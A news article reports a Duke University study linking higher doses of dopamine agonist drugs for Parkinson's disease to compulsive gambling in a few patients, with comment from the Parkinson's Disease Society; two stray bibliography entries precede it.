J.L. (1975) How to do Things With Words , J.O.Urmson and M.Sbisà (eds.). Oxford: Oxford University Press. Asad T. (ed) (1973) Anthropology and the Colonial Encounter. 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Patients racked up huge losses Two patients identified by researchers in the US had each lost more than $60,000 as a result. It is thought that the "dopamine agonist" - a standard therapy which helps reduce the symptoms of Parkinson's in many patients - may be eroding the mental restraint that prevented the patients from gambling. This clinical study suggests that higher dosages of dopamine agonists may be a catalyst to bringing out this destructive behaviour Dr Mark Stacy, Duke University Medical Center In the study, carried out at Duke University Medical Center in North Carolina, the records of more than 1,800 patients were examined, and only nine compulsive gamblers uncovered. In addition, all the patients involved came from Arizona - a state in which the temptations of casinos are never far away. None of them had any history of gambling prior to their starting to take medication for Parkinson's. Seven of them started to gamble within one month of an increased dosage of the drug. Sexual behaviour Once the problem was detected by their families, a change of drug regime was normally enough to solve the problem. Dr Mark Stacy, who led the study, said: "This clinical study suggests that higher dosages of dopamine agonists may be a catalyst to bringing out this destructive behaviour." Parkinson's patients suffer because they are no longer able to produce enough of the chemical dopamine, which helps control movement. This leads to increasing tremor, rigidity and walking problems. This is not the first time that dopamine agonist treatment - which aims to help increase the supply of dopamine to the brain - has been linked to extreme behaviour. Other studies have reported the arrival of sexual disorders - namely a marked increase in libido and sexual behaviour - as a result. In some patients the dopamine agonist is thought to be responsible for distinct changes in sexual behaviour and even orientation. Reassurance However, a spokesman for the Parkinson's Disease Society said that other small studies had made the link between Parkinson's and gambling. A spokesman said: "Many people with Parkinson's are prescribed dopamine agonists in conjunction with levodopa and the Parkinson's Disease Society has not been made aware of any reported cases in the UK of this combination treatment leading to a side-effect of pathological gambling. "It should be noted that the author of the most recent survey reported that the risk was found to be very small and may have arisen in part because of the location of the study in a retirement and vacation setting in Arizona with several casinos. "However, we would advise anyone who is concerned about their medication regime or is anxious about any side effects to speak to their doctor."